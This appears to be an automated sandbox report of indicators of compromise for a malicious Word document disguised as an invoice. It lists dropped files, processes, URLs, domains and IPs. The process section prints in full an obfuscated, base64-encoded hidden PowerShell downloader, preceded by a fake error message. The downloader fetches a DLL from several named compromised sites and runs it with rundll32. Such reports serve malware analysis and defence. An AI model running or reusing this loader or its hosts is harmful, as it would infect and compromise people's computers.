IOCReport

loading gif

Files

File Path
Type
Category
Malicious
Invoice 6682363.doc
Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Subject: Human Awesome interface XSS Electronics, Kids & Garden Frozen Incredible Metal Chips application hacking Baby & Health Rwanda, Author: Mara del Carmen Yanes, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Jan 22 14:50:00 2021, Last Saved Time/Date: Fri Jan 22 14:51:00 2021, Number of Pages: 1, Number of Words: 4182, Number of Characters: 23843, Security: 8
initial sample
 malicious
C:\Users\user\Ndczqyb\Haf0_yn\P44G.dll
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{0EA89377-30AB-4901-9D2A-3CE504568F55}.tmp
data
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Invoice 6682363.LNK
MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:14 2020, mtime=Wed Aug 26 14:08:14 2020, atime=Mon Jan 25 15:21:36 2021, length=113152, window=hide
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
ASCII text, with CRLF line terminators
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
data
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Q8SLQGJ1YX7QD0RWZGCI.temp
data
dropped
 clean
C:\Users\user\Desktop\~$voice 6682363.doc
data
dropped
 clean

Processes

Path
Cmdline
Malicious
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
 malicious
C:\Windows\System32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc cwBFAFQALQBpAFQAZQBtACAAIAB2AEEAUgBJAEEAQgBsAGUAOgA0AFAAdQBXACAAIAAoAFsAVAB5AHAARQBdACgAIgB7ADAAfQB7ADIAfQB7ADQAfQB7ADEAfQB7ADMAfQAiACAALQBmACAAJwBTACcALAAnAHIAZQBjAHQAJwAsACcAWQBzAFQAJwAsACcAbwByAHkAJwAsACcAZQBtAC4AaQBvAC4AZABpACcAKQApACAAIAA7ACAAIABzAEUAVAAtAGkAdABlAE0AIAB2AGEAcgBpAEEAQgBsAGUAOgAzAFcAdgAgACAAKAAgAFsAdABZAFAAZQBdACgAIgB7ADQAfQB7ADIAfQB7ADUAfQB7ADEAfQB7ADAAfQB7ADcAfQB7ADMAfQB7ADYAfQAiAC0ARgAgACcAVgBpAGMAJwAsACcAUwBlAFIAJwAsACcAVABFAE0AJwAsACcAQQAnACwAJwBTAHkAcwAnACwAJwAuAG4AZQB0AC4AJwAsACcAbgBhAGcAZQByACcALAAnAGUAcABPAEkAbgBUAG0AJwApACAAKQAgADsAJABYAGwAegBpAG8AOQBqAD0AJABQADgANQBSACAAKwAgAFsAYwBoAGEAcgBdACgAMwAzACkAIAArACAAJABRADYAOABJADsAJABMADIAOQBIAD0AKAAoACcASwAnACsAJwAwADcAJwApACsAJwBaACcAKQA7ACAAKAAgAFYAYQByAGkAQQBiAEwAZQAgACAANABQAFUAdwAgACAALQBWAGEAbABVAGUAbwBOAGwAIAAgACkAOgA6ACIAQwBgAFIARQBhAHQAZQBEAGkAcgBFAGMAdABPAGAAUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwB1AHEAJwArACcAMgBOAGQAJwApACsAJwBjAHoAJwArACgAJwBxACcAKwAnAHkAYgB1ACcAKQArACgAJwBxACcAKwAnADIASAAnACsAJwBhAGYAMABfAHkAbgAnACkAKwAoACcAdQBxACcAKwAnADIAJwApACkAIAAtAHIARQBwAGwAYQBDAGUAKAAnAHUAJwArACcAcQAyACcAKQAsAFsAQwBoAEEAUgBdADkAMgApACkAOwAkAEoANwAzAFkAPQAoACgAJwBLACcAKwAnADQANgAnACkAKwAnAFYAJwApADsAIAAoACAASQBUAEUAbQAgACAAVgBhAFIAaQBBAGIAbABlADoAMwBXAHYAKQAuAFYAQQBMAFUAZQA6ADoAIgBTAGAAZQBDAGAAVQBSAEkAYABUAHkAcAByAG8AVABPAGMATwBMACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABFADMAXwBPAD0AKAAoACcAUgAnACsAJwA3ADcAJwApACsAJwBBACcAKQA7ACQASQBmAHcAcwAyAHEAaQAgAD0AIAAoACcAUAA0ACcAKwAnADQARwAnACkAOwAkAFgAMwAxAEoAPQAoACcAQgAnACsAKAAnADUAJwArACcAOABSACcAKQApADsAJABSAHoAbQBuAHAAcQBzAD0AJABIAE8ATQBFACsAKAAoACcAewAnACsAJwAwAH0ATgBkAGMAegBxACcAKwAnAHkAYgB7ADAAfQBIACcAKwAoACcAYQAnACsAJwBmADAAJwApACsAJwBfAHkAbgB7ACcAKwAnADAAJwArACcAfQAnACkAIAAgAC0ARgAgAFsAQwBoAGEAUgBdADkAMgApACsAJABJAGYAdwBzADIAcQBpACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABCADYANQBBAD0AKAAnAEgAJwArACgAJwBfACcAKwAnADAAWAAnACkAKQA7ACQAUAB6AHAAeAB0ADAAbgA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAEwANQBiAHIAZAB3AGYAPQAoACgAJwB4ACcAKwAnACAAWwAgAHMAaAAgACcAKwAnAGIAOgAnACkAKwAnAC8ALwAnACsAJwBtACcAKwAnAGkAJwArACcAYwByACcAKwAnAG8AJwArACcAbgBlACcAKwAnAHcAcwAnACsAJwAuACcAKwAnAGUAJwArACgAJwB1AC8AJwArACcAYwAnACsAJwByAGEAbgBrAHMAaAAnACkAKwAnAGEAZgAnACsAKAAnAHQALQAnACsAJwBwAHUAbABsAGUAeQAnACsAJwAtAGkANQBhACcAKwAnAGkAbwAvAFQAbABwAC8AJwApACsAJwAhAHgAJwArACgAJwAgAFsAIABzACcAKwAnAGgAIAAnACkAKwAnAGIAJwArACcAOgAnACsAJwAvACcAKwAoACcALwBvACcAKwAnAGYAZQAnACkAKwAoACcAcgB0AC0AJwArACcAYQAnACsAJwBsAC4AYwAnACkAKwAnAG8AbQAnACsAJwAvACcAKwAnAHcAcAAnACsAJwAtAGMAJwArACgAJwBvAG4AdABlAG4AdAAnACsAJwAvACcAKwAnAHQAJwArACcAOQBoAFYAJwApACsAJwBWAGkAJwArACcAQgAnACsAKAAnAGQAZQAvACEAJwArACcAeAAgAFsAJwApACsAJwAgAHMAJwArACgAJwBoACAAYgA6AC8ALwAnACsAJwB0AHIAJwArACcAYQAnACsAJwBuAHMAYQBsACcAKQArACgAJwAuACcAKwAnAGUAdQAvACcAKQArACcAbgBlACcAKwAoACcAdABnACcAKwAnAGUAYQByACcAKQArACgAJwAtAHcAaQAnACsAJwBmACcAKQArACgAJwBpAC0AcQAnACsAJwB6AHYAdgAnACkAKwAoACcANAAvADEAagA3ACcAKwAnAFgAJwApACsAKAAnAFoAJwArACcALwAhAHgAIAAnACkAKwAnAFsAJwArACgAJwAgACcAKwAnAHMAJwArACcAaAAgAGIAOgAvACcAKwAnAC8AZQAtACcAKQArACgAJwB3AGQAZQAnACsAJwBzACcAKwAnAGkAZwBuAC4AZQAnACsAJwB1AC8AdwAnACkAKwAoACcAbwBvACcAKwAnAGQALQAnACsAJwBzAHQAbwB2ACcAKQArACcAZQAtACcAKwAoACcAeAA3ACcAKwAnAGkAdwB3AC8AUgAnACsAJwAxAFMATQBzADEAdgAvACcAKQArACcAIQB4ACcAKwAoACcAIAAnACsAJwBbACAAcwAnACkAKwAoACcAaAAnACsAJwAgAGIAJwApACsAJwA6ACcAKwAoACcALwAvACcAKwAnAHIAJwApACsAKAAnAGUAbAAnACsAJwBhAHQAZQBkACcAKwAnAGcAcgBvAHUAJwApACsAJwBwAHQAJwArACcAZQAnACsAJwBzACcAKwAoACcAdAAuAGMAJwArACcAbwBtACcAKQArACgAJwAvACcAKwAnAE8AdQAnACkAKwAnAHIAJwArACgAJwBUAGkAJwArACcAbQBlAC8AYwB1AGwAZQAnACsAJwBUAEYAJwApACsAKAAnAGEAJwArACcAMwB2ACcAKQArACcALwAnACsAKAAnACEAJwArACcAeAAgAFsAIAAnACkAKwAoACcAcwBoACAAYgBzACcAKwAnADoAJwApACsAJwAvACcAKwAoACcALwB3AHcAJwArACcAdwAuAHMAJwApACsAKAAnAGMAaAAnACsAJwBtACcAKQArACgAJwB1AGMAawBmAGUAJwArACcAZABlAHIAJwArACcAbgAnACkAKwAoACcALgBpACcAKwAnAG4AJwApACsAJwBmACcAKwAnAG8AJwArACgAJwAvACcAKwAnAHIAZQBmAGUAJwArACcAcgAnACkAKwAnAGUAbgAnACsAKAAnAGMAZQAnACsAJwAvADAASAAnACkAKwAoACcAbABCAEIAJwArACcAZwAnACkAKwAnADgAJwArACcALwAnACkALgAiAHIAZQBwAGAATABhAEMAZQAiACgAKAAoACcAeAAgAFsAJwArACcAIAAnACkAKwAoACcAcwBoACcAKwAnACAAJwApACsAJwBiACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAbgBqACcALAAnAHQAcgAnACkALAAnAHkAagAnACwAJwBzAGMAJwAsACQAUAB6AHAAeAB0ADAAbgAsACcAdwBkACcAKQBbADMAXQApAC4AIgBTAFAAYABsAGkAdAAiACgAJABFADIAMwBSACAAKwAgACQAWABsAHoAaQBvADkAagAgACsAIAAkAFYANAA2AEIAKQA7ACQAQQAzAF8AVAA9ACgAJwBEACcAKwAoACcANAAnACsAJwAyAEIAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFAANgBtADAAbQBxAGoAIABpAG4AIAAkAEwANQBiAHIAZAB3AGYAKQB7AHQAcgB5AHsAKAAuACgAJwBOAGUAJwArACcAdwAtAE8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAFMAWQBzAFQARQBtAC4ATgBFAHQALgB3AEUAQgBjAEwAaQBlAG4AdAApAC4AIgBkAGAAbwBXAGAATgBMAE8AQQBgAEQAZgBJAGwARQAiACgAJABQADYAbQAwAG0AcQBqACwAIAAkAFIAegBtAG4AcABxAHMAKQA7ACQAVAA3ADMAVAA9ACgAKAAnAEUAMgAnACsAJwA3ACcAKQArACcASgAnACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAUgB6AG0AbgBwAHEAcwApAC4AIgBsAGUAYABOAGcAVABoACIAIAAtAGcAZQAgADQAMgAxADMAMgApACAAewAmACgAJwByAHUAJwArACcAbgBkACcAKwAnAGwAbAAzADIAJwApACAAJABSAHoAbQBuAHAAcQBzACwAKAAoACcAQQAnACsAJwBuAHkAJwApACsAKAAnAFMAdAByAGkAJwArACcAbgAnACkAKwAnAGcAJwApAC4AIgBUAGAAbwBzAHQAUgBgAEkAbgBnACIAKAApADsAJABMADUAMwBBAD0AKAAnAEIAJwArACgAJwA0ACcAKwAnADUAWQAnACkAKQA7AGIAcgBlAGEAawA7ACQAWAA3ADcAVAA9ACgAJwBPADgAJwArACcANABNACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwAwADYARwA9ACgAKAAnAFkAJwArACcANQAxACcAKQArACcAVQAnACkA
malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc cwBFAFQALQBpAFQAZQBtACAAIAB2AEEAUgBJAEEAQgBsAGUAOgA0AFAAdQBXACAAIAAoAFsAVAB5AHAARQBdACgAIgB7ADAAfQB7ADIAfQB7ADQAfQB7ADEAfQB7ADMAfQAiACAALQBmACAAJwBTACcALAAnAHIAZQBjAHQAJwAsACcAWQBzAFQAJwAsACcAbwByAHkAJwAsACcAZQBtAC4AaQBvAC4AZABpACcAKQApACAAIAA7ACAAIABzAEUAVAAtAGkAdABlAE0AIAB2AGEAcgBpAEEAQgBsAGUAOgAzAFcAdgAgACAAKAAgAFsAdABZAFAAZQBdACgAIgB7ADQAfQB7ADIAfQB7ADUAfQB7ADEAfQB7ADAAfQB7ADcAfQB7ADMAfQB7ADYAfQAiAC0ARgAgACcAVgBpAGMAJwAsACcAUwBlAFIAJwAsACcAVABFAE0AJwAsACcAQQAnACwAJwBTAHkAcwAnACwAJwAuAG4AZQB0AC4AJwAsACcAbgBhAGcAZQByACcALAAnAGUAcABPAEkAbgBUAG0AJwApACAAKQAgADsAJABYAGwAegBpAG8AOQBqAD0AJABQADgANQBSACAAKwAgAFsAYwBoAGEAcgBdACgAMwAzACkAIAArACAAJABRADYAOABJADsAJABMADIAOQBIAD0AKAAoACcASwAnACsAJwAwADcAJwApACsAJwBaACcAKQA7ACAAKAAgAFYAYQByAGkAQQBiAEwAZQAgACAANABQAFUAdwAgACAALQBWAGEAbABVAGUAbwBOAGwAIAAgACkAOgA6ACIAQwBgAFIARQBhAHQAZQBEAGkAcgBFAGMAdABPAGAAUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwB1AHEAJwArACcAMgBOAGQAJwApACsAJwBjAHoAJwArACgAJwBxACcAKwAnAHkAYgB1ACcAKQArACgAJwBxACcAKwAnADIASAAnACsAJwBhAGYAMABfAHkAbgAnACkAKwAoACcAdQBxACcAKwAnADIAJwApACkAIAAtAHIARQBwAGwAYQBDAGUAKAAnAHUAJwArACcAcQAyACcAKQAsAFsAQwBoAEEAUgBdADkAMgApACkAOwAkAEoANwAzAFkAPQAoACgAJwBLACcAKwAnADQANgAnACkAKwAnAFYAJwApADsAIAAoACAASQBUAEUAbQAgACAAVgBhAFIAaQBBAGIAbABlADoAMwBXAHYAKQAuAFYAQQBMAFUAZQA6ADoAIgBTAGAAZQBDAGAAVQBSAEkAYABUAHkAcAByAG8AVABPAGMATwBMACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABFADMAXwBPAD0AKAAoACcAUgAnACsAJwA3ADcAJwApACsAJwBBACcAKQA7ACQASQBmAHcAcwAyAHEAaQAgAD0AIAAoACcAUAA0ACcAKwAnADQARwAnACkAOwAkAFgAMwAxAEoAPQAoACcAQgAnACsAKAAnADUAJwArACcAOABSACcAKQApADsAJABSAHoAbQBuAHAAcQBzAD0AJABIAE8ATQBFACsAKAAoACcAewAnACsAJwAwAH0ATgBkAGMAegBxACcAKwAnAHkAYgB7ADAAfQBIACcAKwAoACcAYQAnACsAJwBmADAAJwApACsAJwBfAHkAbgB7ACcAKwAnADAAJwArACcAfQAnACkAIAAgAC0ARgAgAFsAQwBoAGEAUgBdADkAMgApACsAJABJAGYAdwBzADIAcQBpACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABCADYANQBBAD0AKAAnAEgAJwArACgAJwBfACcAKwAnADAAWAAnACkAKQA7ACQAUAB6AHAAeAB0ADAAbgA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAEwANQBiAHIAZAB3AGYAPQAoACgAJwB4ACcAKwAnACAAWwAgAHMAaAAgACcAKwAnAGIAOgAnACkAKwAnAC8ALwAnACsAJwBtACcAKwAnAGkAJwArACcAYwByACcAKwAnAG8AJwArACcAbgBlACcAKwAnAHcAcwAnACsAJwAuACcAKwAnAGUAJwArACgAJwB1AC8AJwArACcAYwAnACsAJwByAGEAbgBrAHMAaAAnACkAKwAnAGEAZgAnACsAKAAnAHQALQAnACsAJwBwAHUAbABsAGUAeQAnACsAJwAtAGkANQBhACcAKwAnAGkAbwAvAFQAbABwAC8AJwApACsAJwAhAHgAJwArACgAJwAgAFsAIABzACcAKwAnAGgAIAAnACkAKwAnAGIAJwArACcAOgAnACsAJwAvACcAKwAoACcALwBvACcAKwAnAGYAZQAnACkAKwAoACcAcgB0AC0AJwArACcAYQAnACsAJwBsAC4AYwAnACkAKwAnAG8AbQAnACsAJwAvACcAKwAnAHcAcAAnACsAJwAtAGMAJwArACgAJwBvAG4AdABlAG4AdAAnACsAJwAvACcAKwAnAHQAJwArACcAOQBoAFYAJwApACsAJwBWAGkAJwArACcAQgAnACsAKAAnAGQAZQAvACEAJwArACcAeAAgAFsAJwApACsAJwAgAHMAJwArACgAJwBoACAAYgA6AC8ALwAnACsAJwB0AHIAJwArACcAYQAnACsAJwBuAHMAYQBsACcAKQArACgAJwAuACcAKwAnAGUAdQAvACcAKQArACcAbgBlACcAKwAoACcAdABnACcAKwAnAGUAYQByACcAKQArACgAJwAtAHcAaQAnACsAJwBmACcAKQArACgAJwBpAC0AcQAnACsAJwB6AHYAdgAnACkAKwAoACcANAAvADEAagA3ACcAKwAnAFgAJwApACsAKAAnAFoAJwArACcALwAhAHgAIAAnACkAKwAnAFsAJwArACgAJwAgACcAKwAnAHMAJwArACcAaAAgAGIAOgAvACcAKwAnAC8AZQAtACcAKQArACgAJwB3AGQAZQAnACsAJwBzACcAKwAnAGkAZwBuAC4AZQAnACsAJwB1AC8AdwAnACkAKwAoACcAbwBvACcAKwAnAGQALQAnACsAJwBzAHQAbwB2ACcAKQArACcAZQAtACcAKwAoACcAeAA3ACcAKwAnAGkAdwB3AC8AUgAnACsAJwAxAFMATQBzADEAdgAvACcAKQArACcAIQB4ACcAKwAoACcAIAAnACsAJwBbACAAcwAnACkAKwAoACcAaAAnACsAJwAgAGIAJwApACsAJwA6ACcAKwAoACcALwAvACcAKwAnAHIAJwApACsAKAAnAGUAbAAnACsAJwBhAHQAZQBkACcAKwAnAGcAcgBvAHUAJwApACsAJwBwAHQAJwArACcAZQAnACsAJwBzACcAKwAoACcAdAAuAGMAJwArACcAbwBtACcAKQArACgAJwAvACcAKwAnAE8AdQAnACkAKwAnAHIAJwArACgAJwBUAGkAJwArACcAbQBlAC8AYwB1AGwAZQAnACsAJwBUAEYAJwApACsAKAAnAGEAJwArACcAMwB2ACcAKQArACcALwAnACsAKAAnACEAJwArACcAeAAgAFsAIAAnACkAKwAoACcAcwBoACAAYgBzACcAKwAnADoAJwApACsAJwAvACcAKwAoACcALwB3AHcAJwArACcAdwAuAHMAJwApACsAKAAnAGMAaAAnACsAJwBtACcAKQArACgAJwB1AGMAawBmAGUAJwArACcAZABlAHIAJwArACcAbgAnACkAKwAoACcALgBpACcAKwAnAG4AJwApACsAJwBmACcAKwAnAG8AJwArACgAJwAvACcAKwAnAHIAZQBmAGUAJwArACcAcgAnACkAKwAnAGUAbgAnACsAKAAnAGMAZQAnACsAJwAvADAASAAnACkAKwAoACcAbABCAEIAJwArACcAZwAnACkAKwAnADgAJwArACcALwAnACkALgAiAHIAZQBwAGAATABhAEMAZQAiACgAKAAoACcAeAAgAFsAJwArACcAIAAnACkAKwAoACcAcwBoACcAKwAnACAAJwApACsAJwBiACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAbgBqACcALAAnAHQAcgAnACkALAAnAHkAagAnACwAJwBzAGMAJwAsACQAUAB6AHAAeAB0ADAAbgAsACcAdwBkACcAKQBbADMAXQApAC4AIgBTAFAAYABsAGkAdAAiACgAJABFADIAMwBSACAAKwAgACQAWABsAHoAaQBvADkAagAgACsAIAAkAFYANAA2AEIAKQA7ACQAQQAzAF8AVAA9ACgAJwBEACcAKwAoACcANAAnACsAJwAyAEIAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFAANgBtADAAbQBxAGoAIABpAG4AIAAkAEwANQBiAHIAZAB3AGYAKQB7AHQAcgB5AHsAKAAuACgAJwBOAGUAJwArACcAdwAtAE8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAFMAWQBzAFQARQBtAC4ATgBFAHQALgB3AEUAQgBjAEwAaQBlAG4AdAApAC4AIgBkAGAAbwBXAGAATgBMAE8AQQBgAEQAZgBJAGwARQAiACgAJABQADYAbQAwAG0AcQBqACwAIAAkAFIAegBtAG4AcABxAHMAKQA7ACQAVAA3ADMAVAA9ACgAKAAnAEUAMgAnACsAJwA3ACcAKQArACcASgAnACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAUgB6AG0AbgBwAHEAcwApAC4AIgBsAGUAYABOAGcAVABoACIAIAAtAGcAZQAgADQAMgAxADMAMgApACAAewAmACgAJwByAHUAJwArACcAbgBkACcAKwAnAGwAbAAzADIAJwApACAAJABSAHoAbQBuAHAAcQBzACwAKAAoACcAQQAnACsAJwBuAHkAJwApACsAKAAnAFMAdAByAGkAJwArACcAbgAnACkAKwAnAGcAJwApAC4AIgBUAGAAbwBzAHQAUgBgAEkAbgBnACIAKAApADsAJABMADUAMwBBAD0AKAAnAEIAJwArACgAJwA0ACcAKwAnADUAWQAnACkAKQA7AGIAcgBlAGEAawA7ACQAWAA3ADcAVAA9ACgAJwBPADgAJwArACcANABNACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwAwADYARwA9ACgAKAAnAFkAJwArACcANQAxACcAKQArACcAVQAnACkA
 malicious
C:\Windows\System32\rundll32.exe
'C:\Windows\system32\rundll32.exe' C:\Users\user\Ndczqyb\Haf0_yn\P44G.dll AnyString
 malicious
C:\Windows\SysWOW64\rundll32.exe
'C:\Windows\system32\rundll32.exe' C:\Users\user\Ndczqyb\Haf0_yn\P44G.dll AnyString
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Ndczqyb\Haf0_yn\P44G.dll',#1
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Wkjjpdqip\vecwkqdb.lyo',YWTgmybfjbBtvDQ
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Wkjjpdqip\vecwkqdb.lyo',#1
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ivhpdalyytfvzo\hoseqdxoqcmcr.kuc',ItLugJX
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ivhpdalyytfvzo\hoseqdxoqcmcr.kuc',#1
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Zzarwsk\ykbqlw.ztp',IJPmPuzefT
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Zzarwsk\ykbqlw.ztp',#1
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Rrhzxvbsppptipx\fklicvcyvxpinr.seu',PUIhDyBaYh
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Rrhzxvbsppptipx\fklicvcyvxpinr.seu',#1
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Pkxqfqnqq\heurasqx.kyn',MWkJrCwEVqm
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Pkxqfqnqq\heurasqx.kyn',#1
 malicious
C:\Windows\System32\msg.exe
msg user /v Word experienced an error trying to open the file.
clean
There are 7 hidden processes, click here to show them.

URLs

Name
IP
Malicious
http://micronews.eu/crankshaft-pulley-i5aio/Tlp/
93.119.104.27
 malicious
http://190.55.186.229/zu0s8fp/p0ci9j50w974/cj5r0kfb71n/m8g30yu0kjfggim2u/66n2ab/ipuz3m08m8x037v8/
190.55.186.229
 malicious
http://transal.eu/netgear-wifi-qzvv4/1j7XZ/
unknown
 malicious
http://ofert-al.com
unknown
 malicious
http://relatedgrouptest.com/OurTime/culeTFa3v/
unknown
 malicious
http://micronews.eu
unknown
 malicious
https://www.schmuckfedern.info/reference/0HlBBg8/
unknown
 malicious
http://e-wdesign.eu/wood-stove-x7iww/R1SMs1v/
unknown
 malicious
http://ofert-al.com/wp-content/t9hVViBde/
93.119.104.27
 malicious
https://www.schmuckfedern.info/reference/0HlBBg8/P
unknown
 malicious
http://www.windows.com/pctv.
unknown
 clean
http://investor.msn.com
unknown
 clean
http://www.msnbc.com/news/ticker.txt
unknown
 clean
https://micronews.eu/2021/01/24/hello-world/#comment-1
unknown
 clean
http://ocsp.sectigo.com0
unknown
 clean
https://api.w.org/
unknown
 clean
https://micronews.eu/feed/
unknown
 clean
http://micronews.eu/wp-content/themes/twentytwentyone/assets/js/responsive-embeds.js?ver=1.1
unknown
 clean
http://windowsmedia.com/redir/services.asp?WMPFriendly=true
unknown
 clean
http://www.hotmail.com/oe
unknown
 clean
https://micronews.eu/
unknown
 clean
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
unknown
 clean
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
unknown
 clean
http://micronews.eu/wp-includes/css/dist/block-library/theme.min.css?ver=5.6
unknown
 clean
http://www.icra.org/vocabulary/.
unknown
 clean
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
unknown
 clean
https://micronews.eu/2021/01/24/hello-world/
unknown
 clean
https://wordpress.org/
unknown
 clean
https://micronews.eu/wp-json/
unknown
 clean
http://micronews.eu/wp-content/themes/twentytwentyone/assets/css/print.css?ver=1.1
unknown
 clean
https://micronews.eu/comments/feed/
unknown
 clean
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
unknown
 clean
http://micronews.eu/wp-content/themes/twentytwentyone/style.css?ver=1.1
unknown
 clean
http://investor.msn.com/
unknown
 clean
http://micronews.eu/wp-includes/js/wp-embed.min.js?ver=5.6
unknown
 clean
http://micronews.eu/wp-includes/wlwmanifest.xml
unknown
 clean
http://micronews.eu/wp-content/themes/twentytwentyone/assets/js/polyfills.js?ver=1.1
unknown
 clean
https://sectigo.com/CPS0D
unknown
 clean
http://www.%s.comPA
unknown
 clean
http://micronews.eu/wp-includes/css/dist/block-library/style.min.css?ver=5.6
unknown
 clean
https://micronews.eu/xmlrpc.php?rsd
unknown
 clean
There are 31 hidden URLs, click here to show them.

Domains

Name
IP
Malicious
ofert-al.com
93.119.104.27
 malicious
micronews.eu
93.119.104.27
 malicious

IPs

IP
Domain
Country
Active
Malicious
190.55.186.229
unknown
Argentina
unknown
 malicious
93.119.104.27
unknown
Romania
unknown
 malicious

Registry

Path
Value
Malicious
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
g;7
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
p<7
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
(>7
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
VBAFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ReviewToken
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ECF31
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Arial Unicode MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Batang
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@BatangChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@DFKai-SB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Dotum
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@DotumChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@FangSong
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Gulim
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@GulimChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Gungsuh
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@GungsuhChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@KaiTi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Malgun Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Meiryo
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Meiryo UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Microsoft JhengHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Microsoft YaHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU_HKSCS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU_HKSCS-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS Mincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS PGothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS PMincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS UI Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@NSimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@PMingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
